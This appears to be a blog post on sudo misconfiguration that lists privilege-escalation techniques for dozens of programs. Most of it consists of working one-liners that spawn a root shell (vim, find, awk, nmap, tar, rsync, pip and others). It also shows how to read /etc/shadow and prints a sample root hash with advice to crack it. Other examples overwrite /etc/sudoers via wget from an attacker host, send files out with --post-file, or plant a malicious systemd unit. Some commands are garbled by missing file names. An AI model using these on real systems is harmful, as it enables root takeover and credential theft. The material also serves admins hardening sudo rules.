sudo abuse vectors

This page will try to give you overview, what you should not grant via sudo and in most cases it means what you should not allow to run/execute as root.

1. Using wildcards in sudo rules

Allowing wildcards in sudo commands arguments part generally allow access to everything else. Sudo does not allow/translate wildcards in the path part f.e. following can’t be abused with path traversal: user ALL=(root) NOPASSWD: /opt/xyz/*

BUT if the wildcard is in the argument, then its trivial:

Example 1:

# sudo rule created with intention to allow execution of shellscript in multiple directories:

user ALL=(root) NOPASSWD: /bin/sh /opt/foo/*/bin/

# get root shell by creating custom file and use path traversal to run it
$ mkdir /tmp/bin
$ echo "/bin/bash" > /tmp/bin/
$ chmod +x /tmp/bin/
$ sudo /bin/sh /opt/foo/../../tmp/bin/

Example 2:

# sudo rule with intention to allow reading logs in /var/log:

user ALL=(root) NOPASSWD: /usr/bin/less /var/log/*

# Check out also other important files f.e. extract all details about users and password hashes. This provides good possibility for further privilege escalation trough exploiting other errors and resolving password hashes via rainbow tables.
$ sudo /usr/bin/less /var/log/../../etc/passwd
$ sudo /usr/bin/less /var/log/../../etc/sudoers
$ sudo /usr/bin/less /var/log/messages /etc/shadow
# In last command use ":n" to switch to next file. Edit and executing commands with less are covered below.
less command has built-in shell too but this isn’t the point in this example. its about abusing wildcards with path traversal.

Example 3:

# sudo rules with chmod and chown with intention to allow user to change permissions/owners of some content.

user ALL=(root) NOPASSWD: /bin/chmod * /opt/foo/*

user ALL=(root) NOPASSWD: /bin/chown user1\:group2 /opt/foo/*’

Both rules above can be used to grant write privileges to /etc/shadow, /etc/sudoers etc. via path traversal and after that you are free to elevate your privileges via changing root password, granting yourself sudo privileges or adding suid bit to some binary or script or….there are probably many more ways for privesc if you can write into any file on the filesystem.

2. Allowing ALL command-alias with blacklist.

Blacklist can easily overridden using symlinks, its totally useless.

Allowing ALL allows also switching to other human or application users. In such case, even if switching to root is by some magic disabled, an attacker could jump from one user to another until finds one user with suitable sudo rights. NOPASSWD option is very helpful in such jumping.


# sudo rule with intention to allow all commands, except bash shell:
user ALL=(root) NOPASSWD: ALL, !/bin/bash

# create symlink to bash with different name and run it with sudo to get root-shell:$ ln -s /bin/bash ./foo$ sudo ./foo

3. Allowing execution of files/scripts what users can modify, as root.

If user has permissions to modify file which is also allowed to be run-as-root, then adding a bash shell into first line of the script is pretty basic, not even worth of example.

4. Allowing execution of files/scripts what do not exist on some systems, as root.

If file does not exist but user can create it, then its pretty basic – just create a symlink in the place, pointing to bash shell.

5. Allowing execution of files/scripts residing in other-user-owned directory, as root.

Owning a directory allows user to move/rename/delete file in that directory no matter what other user-owned or permissions it has. So having some shell-script owned by root in directory owned by regular user is useless – user can just rename root script and create symlink to bash with same name.

6. Allowing installing, running package managers as root

An attacker could potentially download fake package, which will replace protected system files with specially crafted ones.


npm  –  Node.js installation tool that allows installation of arbitrary modules with a configurable directory structure prefix path as root, which is both risky and most likely not needed.

7. NOPASSWD and !requiretty

Using NOPASSWD or !requiretty options must be carefully considered. Using both these options are justified in many cases but it does not mean they have to be configured as default.

NOPASSWD: – allows user to run sudo without entering user password. While its pretty normal to type in your password when running sudo rarely, on few machines, it gets really annoying and dangerous in large environments. Imagine yourself typing in your password on hundreds or thousands of machines? What if one of them has keylogger? Positive thing with having to type in your password is that nobody else can run commands via sudo which are granted to you, even if they somehow access your user account. It also gives you a few spare seconds while typing in the password, to reconsider – do you really want to run it? Non-interactive sudo usage unfortunately forces you to use NOPASSWD.

!requiretty option – user does not need to be logged in, have active terminal session. It is normal to use this option to run sudo commands in non-interactive batch jobs, from cron etc. Be careful when granting sudo privileges with that option to service accounts which run services exposed to the outside. For example if you grant sudo privileges with that option to apache user and your webserver is compromised, attacker could run the commands you are allowed to apache.

8. Allowing programs with built-in exec/edit/output possibility to be run as root.

Many programs have built-in possibility to execute commands as the same user as the parent process, edit file or write output to file without using pipes/redirection. Below are listed just more known programs, there are definitely many more.

vi /vim, nano, pico, ed, ne editors- built in command execution + editing.

$ sudo vim -c '!sh'


$ sudo vi <random file>

after that press :!sh and hit enter

$ sudo nano 

just open and edit passwd/shadow files.

less , more file viewers/pagers – built in command execution + editing by launching external editor.

$ sudo less /etc/hosts

$ sudo more /etc/hosts

after that press !sh and hit enter

also, built in command “v” will open editor with currently viewed file.

NB! even if less is allowed with NOEXEC, user can still read all files on the server.

gdb debugger – built in command execution + editing.

<example missing>

tcpdump network traffic dumping tool – while only very old tcpdump versions had built-in shell, new versions still have post-rotate command possibility (options -z with -Z).

$ echo $’id\ncat /etc/shadow’ > /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

find file searching tool – built in command execution.

$ sudo find /etc/passwd -exec /bin/sh \;


$ sudo find /bin -name nano -exec /bin/sh \;

awk pattern scanner and processor – built in command execution.

$ sudo awk ‘BEGIN {system(“/bin/sh”)}’

git versioncontrol – built in command execution.

<example missing>

nmap network exploration tool – built in command execution via ineractive mode (older versions) or via –script option (newer versions). can be used to print out protected file contents f.e. /etc/shadow.

old versions:

$ sudo nmap –interactive

$ nmap> !sh

$ sh-4.1#

New versions, without interactive mode:

$ echo “os.execute(‘/bin/sh’)” > /tmp/shell.nse && sudo nmap –script=/tmp/shell.nse

Nmap can also be used to see protected files:

$ sudo nmap -iL /etc/shadow

apache webservers – apache2/httpd and probably many other binaries which accept custom config file as an option, will print some file contents as part of the error message:

$ sudo /usr/sbin/httpd -f /etc/shadow

This will expose first line in /etc/shadow which happen to be always  ROOT 😀

Syntax error on line 1 of /etc/shadow:
Invalid command ‘root:$6$wQa.l/6z$gGV/bY0wX/HSlz9Idm1/sKiJoURnnzHN1BORhl7pOHEFW3dCuOPwuTBNaHaWWHq4ehlRSTP6zXJpo3RJFpA6C0:15943:0:99999:7:::’, perhaps misspelled or defined by a module not included in the server configuration

Now go and crack that hash with some tool.

man, pinfo man page viewer – built in command execution.

$ sudo man man

after that press !sh and hit enter


$ sudo man -P id man

replace id with something more useful.

wget network downloader – possibility to save output to a protected file f.e. can download and replace entire /etc/shadow.

Create sudoers file somewhere which allows ALL for your user and after that apply it on local system with this:

$ sudo /usr/bin/wget http://yourhost/sudoers -O /etc/sudoers
If wget is allowed to be run-as-root, then it can also be used to send protected file to remote server with –post-file option.

mount filesystem mounter – possibility to bind mount any (f.e. bash) binary to anywhere in filesystem, including replacing the mount binary itself with shell 😀

$ sudo mount -o bind /bin/bash /bin/mount

$ sudo mount

# id

uid=0(root) gid=0(root) groups=0(root)

strace system call tracer – built in command execution.

$ sudo strace -o/dev/null /bin/bash

python, ruby, irb, perl, lua, php and probably many other language interpreters – built in command execution. some may need extra libraries but its relatively easy to include.

$ sudo python -c ‘import pty;pty.spawn(“/bin/sh”)’

$ sudo ruby -e ‘exec “/bin/sh”‘

$ sudo perl -e ‘exec “/bin/sh”;’

file file type viewer – can be used to print out protected file contents f.e. /etc/shadow.

$ sudo file -m /etc/shadow

zip,tar packaging/compressing tools – built in command execution.

$ touch somefile

$ sudo zip -q /tmp/ somefile -T -TT ‘/bin/sh #’

$ sudo tar cf /dev/null somefile –checkpoint=1 –checkpoint-action=exec=/bin/sh

ssh,scp secure shell & file transfer – built in command execution.

rsync file copying tool – built in command execution.

$ cat > /tmp/somefile << EOF

> cp /bin/sh /tmp/sh_root

> chmod a+sx /tmp/sh_root


$ sudo rsync  -e ‘sh /tmp/somefile’ /dev/null 2>/dev/null

$ /tmp/sh_root

# id

uid=0(root) gid=0(root) groups=0(root)

ftp,sftp – built in command execution.

user@host:~$ sudo ftp

ftp> !id

uid=0(root) gid=0(root) groups=0(root)


links, lynx, elinks command-line browsers – built in command execution and editing.

systemctl  systemd system and service manager – with EDIT option you can override a service startup and run commands as root

if “sudo systemctl edit XYZ.service” is granted to user, then user can override existing service configuration and create malicious systemd service/unit.

As systemd runs commands as root (if no other user is specified) it should be enough to make a systemd unit with following contents to elevate privileges:


Description=Malicious unit


ExecStartPre=-/usr/bin/touch /etc/sudoers.d/mycustomsudofile

ExecStartPre=-/usr/bin/chown myusername /etc/sudoers.d/mycustomsudofile

ExecStartPre=/usr/bin/chmod 640 /etc/sudoers.d/mycustomsudofile

ExecStart=/usr/bin/echo “myusername ALL=(root) NOPASSWD:ALL ” > /etc/sudoers.d/mycustomsudofile

After that start the service with  the systemctl start and use sudo.

journalctl: if journalctl is executed as root, then getting a root shell works simply by typing !/bin/sh

mysql: even though it is incredibly rare to but if someone has the right to run MySql as root, then they can spawn root shell like this.

$ sudo mysql -e ‘\! /bin/bash’

or when you are in the shell, type in “\! /bin/bash”

This is very easy if you are allowed to connect to mysql socket as root.

gcc: gcc is a C compiler, and is perhaps installed by default due to dependencies. If you are allowed to run gcc as root via sudo, you can spawn a root shell too.

$ sudo gcc -wrapper /bin/sh,-s .

gem: the ruby package manager can only be used to spawn a bash shell shell when the gem ‘rdoc’ is installed (it is installed by default on our machines)

$ sudo gem open -e “/bin/sh -c /bin/sh” rdoc

service: path traversal to privesc

$ sudo service ../../bin/sh

rake: whilst not known by all rake is a make-like build utility for ruby, and is installed by puppet on all of our machines. it can be used to spawn a root shell too.

$ sudo rake -p ‘`/bin/sh 1>&0`’

rpm: use lua to spawn a bash shell – or install a malicious package which contains your custom /etc/sudoers or similar.

$ sudo rpm –eval ‘%{lua:os.execute(“/bin/sh”)}’

xargs: with xargs privilege escalation is very simple

$ sudo xargs -a /dev/null sh

pip python package installer – privileges can be easily escalated using specially crafted scripts.

TF=$(mktemp -d)
echo “import os; os.execl(‘/bin/sh’, ‘sh’, ‘-c’, ‘sh <$(tty) >$(tty) 2>$(tty)’)” > $TF/
sudo pip install $TF

.. to be continued

If you found this useful, say thanks, click on some banners or donate, I can always use some beer money.